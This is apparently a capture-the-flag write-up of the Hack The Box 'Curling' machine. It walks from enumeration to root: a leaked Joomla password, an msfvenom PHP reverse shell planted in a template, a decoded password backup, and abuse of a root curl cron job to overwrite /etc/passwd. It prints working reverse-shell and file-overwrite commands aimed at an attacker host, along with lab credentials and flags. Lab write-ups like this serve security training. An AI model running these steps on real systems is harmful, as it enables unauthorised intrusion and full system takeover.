Curling
About
Curling is an Easy difficulty Linux box which requires a fair amount of enumeration. The password is saved in a file on the web root. The username can be download through a post on the CMS which allows a login. Modifying the php template gives a shell. Finding a hex dump and reversing it gives a user shell. On enumerating running processes a cron is discovered which can be exploited for root.
Enumeration
Running the script portscan.sh reveals 2 attack vectors, SSH and HTTP.
┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ sudo portscan.sh 10.129.47.60
┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ cat PortScan\(10.129.47.60\)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Exploitation
HTTP
Checking the index page shows a blog site with 3 posts.
From one of the posts, I’m able to find a username floris
.
Moreover, from the source page, I’m able to find a comment that mentions a file secret.txt
.
┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ curl -s http://10.129.47.60 | grep -oE '<!--.*-->'
<!--[if lt IE 9]><script src="/media/jui/js/html5.js?b6bf078482bc6a711b54fa9e74e19603"></script><![endif]-->
<!--[if lt IE 9]><script src="/media/system/js/polyfill.event.js?b6bf078482bc6a711b54fa9e74e19603"></script><![endif]-->
<!-- Body -->
<!-- Header -->
<!-- Begin Content -->
<!-- End Content -->
<!-- Begin Right Sidebar -->
<!-- End Right Sidebar -->
<!-- Footer -->
<!-- secret.txt -->
The contents of secret.txt
is a base64 encoded text, which when decoded reveals a potential password Curling2018!
.
┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ curl http://10.129.47.60/secret.txt
Q3VybGluZzIwMTgh
┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ curl -s http://10.129.47.60/secret.txt | base64 -d
Curling2018!
In order to find a place to test the username and password, I’ll perform a directory enumeration. Running gobuster
reveals a directory administrator
which seems interesting.
┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ gobuster dir -u http://10.129.47.60 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -f -t 32
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.47.60
[+] Method: GET
[+] Threads: 32
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
2023/10/30 23:40:14 Starting gobuster in directory enumeration mode
===============================================================
/templates/ (Status: 200) [Size: 31]
/media/ (Status: 200) [Size: 31]
/icons/ (Status: 403) [Size: 276]
/images/ (Status: 200) [Size: 31]
/modules/ (Status: 200) [Size: 31]
/bin/ (Status: 200) [Size: 31]
/plugins/ (Status: 200) [Size: 31]
/includes/ (Status: 200) [Size: 31]
/language/ (Status: 200) [Size: 31]
/components/ (Status: 200) [Size: 31]
/cache/ (Status: 200) [Size: 31]
/libraries/ (Status: 200) [Size: 31]
/tmp/ (Status: 200) [Size: 31]
/layouts/ (Status: 200) [Size: 31]
/administrator/ (Status: 200) [Size: 5107]
/cli/ (Status: 200) [Size: 31]
/server-status/ (Status: 403) [Size: 276]
===============================================================
2023/10/30 23:55:40 Finished
===============================================================
Checking the directory administrator
shows a login page for Joomla!
.
With the credential floris:Curling2018!
, I’m able to access the administrator dashboard.
To gain a reverse shell using the privilege gained, I’ll first create a PHP reverse shell payload using msfvenom
.
┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.16.9 LPORT=4444 -f raw -o exploit.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1111 bytes
Saved as: exploit.php
Next, I’ll access CONFIGURATION > Templates > Protostar > error.php
to edit error.php
from the template Protostar
.
After modifying the content with the reverse shell payload, I’ll click Save
. Next, by accessing the overwritten script, I’m able to trigger the reverse shell and gain a shell as the user www-data
.
┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ curl -s http://10.129.47.60/templates/protostar/error.php > /dev/null
┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD php/meterpreter/reverse_tcp; set LHOST 10.10.16.9; set LPORT 4444; run'
[*] Starting persistent handler(s)...
[*] Using configured payload generic/shell_reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
LHOST => 10.10.16.9
LPORT => 4444
[*] Started reverse TCP handler on 10.10.16.9:4444
[*] Sending stage (39927 bytes) to 10.129.47.60
[*] Meterpreter session 1 opened (10.10.16.9:4444 -> 10.129.47.60:36542) at 2023-10-31 01:56:50 -0400
meterpreter > getuid
Server username: www-data
Lateral Movement
After a bit of enumeration, I’m able to find a file password_backup
which seems to be a hexdump.
cat /home/floris/password_backup
00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P.
000000f0: 819b bb48 ...H
After reverting the hexdump into a file and continously decompressing the file, I’m able to extract password.txt
which contains a password 5d<wdCbdZu)|hChXll
.
xxd -r /home/floris/password_backup | file -
/dev/stdin: bzip2 compressed data, block size = 900k
xxd -r /home/floris/password_backup | bzip2 -d - | file -
/dev/stdin: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix
xxd -r /home/floris/password_backup | bzip2 -d - | gzip -d - | file -
/dev/stdin: bzip2 compressed data, block size = 900k
xxd -r /home/floris/password_backup | bzip2 -d - | gzip -d - | bzip2 -d - | file -
/dev/stdin: POSIX tar archive (GNU)
xxd -r /home/floris/password_backup | bzip2 -d - | gzip -d - | bzip2 -d - | tar xvf -
password.txt
cat /var/www/html/templates/protostar/password.txt
5d<wdCbdZu)|hChXll
With the credential floris:5d<wdCbdZu)|hChXll
, I’m able to gain a shell as the user floris
.
┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ sshpass -p '5d<wdCbdZu)|hChXll' ssh floris@10.129.47.60
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-156-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Oct 31 06:10:46 UTC 2023
System load: 0.0 Processes: 175
Usage of /: 62.3% of 3.87GB Users logged in: 0
Memory usage: 21% IP address for ens33: 10.129.47.60
Swap usage: 0%
0 updates can be applied immediately.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Wed Sep 8 11:42:07 2021 from 10.10.14.15
floris@curling:~$ id
uid=1000(floris) gid=1004(floris) groups=1004(floris)
Privilege Escalation
With some enumeration, I’m able to find a directory admin-area
which contains 2 files input
and report
.
floris@curling:~$ ls -al /home/floris/admin-area
total 28
drwxr-x--- 2 root floris 4096 Aug 2 2022 .
drwxr-xr-x 6 floris floris 4096 Aug 2 2022 ..
-rw-rw---- 1 root floris 25 Oct 31 06:11 input
-rw-rw---- 1 root floris 14236 Oct 31 06:12 report
Based on the contents of the 2 files, it seems like the contents of the address specified in the url
parameter in the input
file is saved in report
.
floris@curling:~$ cat /home/floris/admin-area/input
url = "http://127.0.0.1"
floris@curling:~$ cat /home/floris/admin-area/report
<!DOCTYPE html>
<html lang="en-gb" dir="ltr">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta charset="utf-8" />
<base href="http://127.0.0.1/" />
<meta name="description" content="best curling site on the planet!" />
<meta name="generator" content="Joomla! - Open Source Content Management" />
<title>Home</title>
<link href="/index.php?format=feed&type=rss" rel="alternate" type="application/rss+xml" title="RSS 2.0" />
<link href="/index.php?format=feed&type=atom" rel="alternate" type="application/atom+xml" title="Atom 1.0" />
<link href="/templates/protostar/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />
<link href="/templates/protostar/css/template.css?b6bf078482bc6a711b54fa9e74e19603" rel="stylesheet" />
<link href="https://fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet" />
<style>
h1, h2, h3, h4, h5, h6, .site-title {
font-family: 'Open Sans', sans-serif;
}
</style>
<script type="application/json" class="joomla-script-options new">{"csrf.token":"349bfd3ffc1696fbbf2e87fe16900700","system.paths":{"root":"","base":""},"system.keepalive":{"interval":840000,"uri":"\/index.php\/component\/ajax\/?format=json"}}</script>
<script src="/media/jui/js/jquery.min.js?b6bf078482bc6a711b54fa9e74e19603"></script>
<script src="/media/jui/js/jquery-noconflict.js?b6bf078482bc6a711b54fa9e74e19603"></script>
<script src="/media/jui/js/jquery-migrate.min.js?b6bf078482bc6a711b54fa9e74e19603"></script>
<script src="/media/system/js/caption.js?b6bf078482bc6a711b54fa9e74e19603"></script>
<script src="/media/jui/js/bootstrap.min.js?b6bf078482bc6a711b54fa9e74e19603"></script>
<script src="/templates/protostar/js/template.js?b6bf078482bc6a711b54fa9e74e19603"></script>
<!--[if lt IE 9]><script src="/media/jui/js/html5.js?b6bf078482bc6a711b54fa9e74e19603"></script><![endif]-->
<script src="/media/system/js/core.js?b6bf078482bc6a711b54fa9e74e19603"></script>
<!--[if lt IE 9]><script src="/media/system/js/polyfill.event.js?b6bf078482bc6a711b54fa9e74e19603"></script><![endif]-->
<script src="/media/system/js/keepalive.js?b6bf078482bc6a711b54fa9e74e19603"></script>
<script>
jQuery(window).on('load', function() {
new JCaption('img.caption');
jQuery(function($){ initTooltips(); $("body").on("subform-row-add", initTooltips); function initTooltips (event, container) { container = container || document;$(container).find(".hasTooltip").tooltip({"html": true,"container": "body"});} });
</script>
</head>
<body class="site com_content view-featured no-layout no-task itemid-101">
<!-- Body -->
<div class="body" id="top">
<div class="container">
<!-- Header -->
<header class="header" role="banner">
<div class="header-inner clearfix">
<a class="brand pull-left" href="/">
<span class="site-title" title="Cewl Curling site!">Cewl Curling site!</span> </a>
<div class="header-search pull-right">
</div>
</div>
</header>
<div class="row-fluid">
<main id="content" role="main" class="span9">
<!-- Begin Content -->
<div id="system-message-container">
</div>
<div class="blog-featured" itemscope itemtype="https://schema.org/Blog">
<div class="page-header">
<h1>
Home </h1>
</div>
<div class="items-leading clearfix">
<div class="leading-0 clearfix"
itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">
<h2 class="item-title" itemprop="headline">
<a href="/index.php/2-uncategorised/3-what-s-the-object-of-curling" itemprop="url">
What's the object of curling? </a>
</h2>
<div class="icons">
<div class="btn-group pull-right">
<button class="btn dropdown-toggle" type="button" id="dropdownMenuButton-3" aria-label="User tools"
data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<span class="icon-cog" aria-hidden="true"></span>
<span class="caret" aria-hidden="true"></span>
</button>
<ul class="dropdown-menu" aria-labelledby="dropdownMenuButton-3">
<li class="print-icon"> <a href="/index.php/2-uncategorised/3-what-s-the-object-of-curling?tmpl=component&print=1" title="Print article < What's the object of curling? >" onclick="window.open(this.href,'win2','status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=480,directories=no,location=no'); return false;" rel="nofollow"> <span class="icon-print" aria-hidden="true"></span>
Print </a> </li>
</ul>
</div>
</div>
<dl class="article-info muted">
<dt class="article-info-term">
Details </dt>
<dd class="createdby" itemprop="author" itemscope itemtype="https://schema.org/Person">
Written by <span itemprop="name">Super User</span> </dd>
<dd class="category-name">
Category: <a href="/index.php/2-uncategorised" itemprop="genre">Uncategorised</a> </dd>
<dd class="published">
<span class="icon-calendar" aria-hidden="true"></span>
<time datetime="2018-05-22T18:54:21+00:00" itemprop="datePublished">
Published: 22 May 2018 </time>
</dd>
<dd class="hits">
<span class="icon-eye-open" aria-hidden="true"></span>
<meta itemprop="interactionCount" content="UserPageVisits:4" />
Hits: 4 </dd> </dl>
<p>Good question. First, let's get a bit of the jargon down. The playing surface in curling is called "the sheet."
In order to check which tool is used to crawl the URL specified, I’ll overwrite the contents of the input
file for it to read the contents from the web server hosted on the C2 server.
floris@curling:~$ echo 'url = "http://10.10.16.9:8000"' > /home/floris/admin-area/input
From the HTTP request header sent, we can check that the target is using curl
to access web pages.
┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ nc -s 10.10.16.9 -nlvp 8000
listening on [10.10.16.9] 8000 ...
connect to [10.10.16.9] from (UNKNOWN) [10.129.47.60] 41392
GET / HTTP/1.1
Host: 10.10.16.9:8000
User-Agent: curl/7.58.0
Accept: */*
Based on this knowledge and the format of the file input
, I’m able to find that the input
file is used as a Config file. To check if this is indeed the case, I’ll overwrite the input
file to make it write the result to /home/floris/admin-area/output
instead of report
.
floris@curling:~$ cat > /home/floris/admin-area/input << EOF
> url = "http://127.0.0.1"
> output = "/home/floris/admin-area/output"
> EOF
After some waiting, we can find that a new file output
has been created, confirming that the input
file is indeed a Config file
for curl
. Not only that, based on the owner and the group of the created file, we can assume that the daemon is running as root
. If the daemon is running as root
, I’ll be able to overwrite any files on the system by setting the parameter output
accordingly.
floris@curling:~$ ls -al /home/floris/admin-area
total 44
drwxr-x--- 2 root floris 4096 Oct 31 06:26 .
drwxr-xr-x 6 floris floris 4096 Aug 2 2022 ..
-rw-rw---- 1 root floris 25 Oct 31 06:26 input
-rw-r--r-- 1 root root 14236 Oct 31 06:26 output
-rw-rw---- 1 root floris 14236 Oct 31 06:25 report
With enough knowledge gained, I’ll download the file /etc/passwd
from the server and modify the password for root
to pwn
.
┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ sshpass -p '5d<wdCbdZu)|hChXll' scp floris@10.129.47.60:/etc/passwd passwd
┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ ex "+set nobackup nowritebackup" "+%s/^root:[^:]\+:/root:$(openssl passwd -salt root -1 pwn):/" -scwq passwd
Next, I’ll setup a HTTP server and change the input
file so that the daemon downloads the modified passwd
file and overwrites /etc/passwd
with the downloaded content. After some waiting, a HTTP request is made from the target.
floris@curling:~$ cat > /home/floris/admin-area/input << EOF
> url = "http://10.10.16.9:8000/passwd"
> output = "/etc/passwd"
> EOF
┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ python3 -m http.server --bind 10.10.16.9
Serving HTTP on 10.10.16.9 port 8000 (http://10.10.16.9:8000/) ...
10.129.47.60 - - [31/Oct/2023 02:31:09] "GET /passwd HTTP/1.1" 200 -
Finally, by switching to the super user with the updated password, I’m able to gain a shell as the user root
.
floris@curling:~$ su
Password:
root@curling:/home/floris# id
uid=0(root) gid=0(root) groups=0(root)
Post Exploitation
With the shell acquired, I’m able to read the flags user.txt
and root.txt
.
root@curling:/home/floris# cat /home/floris/user.txt
a4d3c161996b08973293774498ed69f1
root@curling:/home/floris# cat /root/root.txt
7790aedd297568b91e114244f001e1c5